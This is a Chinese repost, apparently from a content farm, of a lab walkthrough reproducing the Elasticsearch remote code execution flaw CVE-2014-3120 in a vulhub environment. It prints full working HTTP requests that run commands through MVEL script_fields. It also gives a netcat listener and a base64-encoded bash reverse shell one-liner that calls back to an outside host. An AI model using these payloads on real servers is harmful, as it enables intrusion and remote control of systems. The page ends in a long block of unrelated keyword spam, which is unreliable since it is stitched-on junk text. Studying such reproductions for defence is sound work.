千家信息网

怎么实现ElasticSearch 远程代码执行漏洞CVE-2014-3120复现的分析

发表于:2024-10-12 作者:千家信息网编辑
千家信息网最后更新 2024年10月12日,本篇文章给大家分享的是有关怎么实现ElasticSearch 远程代码执行漏洞CVE-2014-3120复现的分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说
千家信息网最后更新 2024年10月12日怎么实现ElasticSearch 远程代码执行漏洞CVE-2014-3120复现的分析

本篇文章给大家分享的是有关怎么实现ElasticSearch 远程代码执行漏洞CVE-2014-3120复现的分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。

ElasticSearch有脚本运行的功能,能够非常方便地对查询出来的数据再加工处理。 ElasticSearch用的脚本引擎是MVEL,这个引擎没有做什么的防护,所以直接能够运行随意代码。 而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户能够直接通过http请求,运行随意代码。

ElasticSearch版本: v1.1.1

仅作漏洞复现记录与实现,利用流程如下:

一、漏洞环境搭建

本文漏洞环境采用vulhub搭建,执行以下命令开启环境

cd /elasticsearch/CVE-2014-3120

docker-compose build

docker-compose up -d

执行完毕后访问9200端口,显示如下

漏洞链接: http://192.168.101.152:9200/

二、漏洞利用过程

利用该漏洞首先需要ElasticSearch存在至少一条数据,发送以下数据包添加数据

POST /website/blog/ HTTP/1.1
Host: 192.168.91.130:9200
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 27

{
"name": "colleget"
}

返回201状态码代表添加成功,之后发送以下数据包,执行命令

POST /_search?pretty HTTP/1.1
Host: 192.168.91.130:9200
Content-Type: application/x-www-form-urlencoded
Content-Length: 366

{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
}
}

可以看到执行结果回显,接下来是反弹shell,为了方便写了个脚本

先在dnslog上获取域名,执行命令后判断目标可出网

之后在服务器上执行nc -lvvp 1234,监听端口,再执行命令

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

稍等一会儿就可以看到shell反弹到服务器上了

以上就是怎么实现ElasticSearch 远程代码执行漏洞CVE-2014-3120复现的分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

漏洞 数据 代码 命令 引擎 脚本 服务器 环境 搜索 服务 运行 分析 功能 搜索引擎 更多 用户 知识 端口 篇文章 实用 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 gis 数据库下载 安宁综合软件开发零售价格 深圳盛世互联网科技有限公司 社区网络安全隐患排查情况报告 服务器主板 4cpu 操作站组态与组态服务器不一致 电厂网络安全监测装置有哪些 郑州项目软件开发正规平台 韩美组建网络安全 软件开发全流程管理系统 超猎都市加速哪个服务器 蓝光系统服务器的优势 用友u8服务器局域网使用 全国铁路车站数据库 贵阳银行易鲸捷数据库 华为服务器读不到新装的固态硬盘 软件开发智能模型是什么 济宁网络技术有限公司招聘 数据库的层次模型特点 禁毒网络安全教育平台 电脑时间校准服务器 如何屏蔽服务器消息 战地5服务器在哪儿 单片机发送数据数据库 顺义区信息网络技术推广系统 数据库系统概率新技术篇 夺畅网络技术有限公司 数据库中储存网页数据 绍兴市希微网络技术有限公司 云服务器支持的协议
0